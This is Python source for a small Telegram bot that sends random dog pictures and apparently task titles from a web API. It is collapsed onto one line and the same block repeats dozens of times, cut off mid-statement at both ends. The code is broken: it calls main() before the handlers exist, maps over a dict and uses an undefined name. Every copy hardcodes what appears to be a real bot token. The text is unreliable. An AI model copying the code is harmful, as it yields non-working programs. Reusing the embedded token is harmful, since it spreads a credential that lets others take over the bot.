= Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = 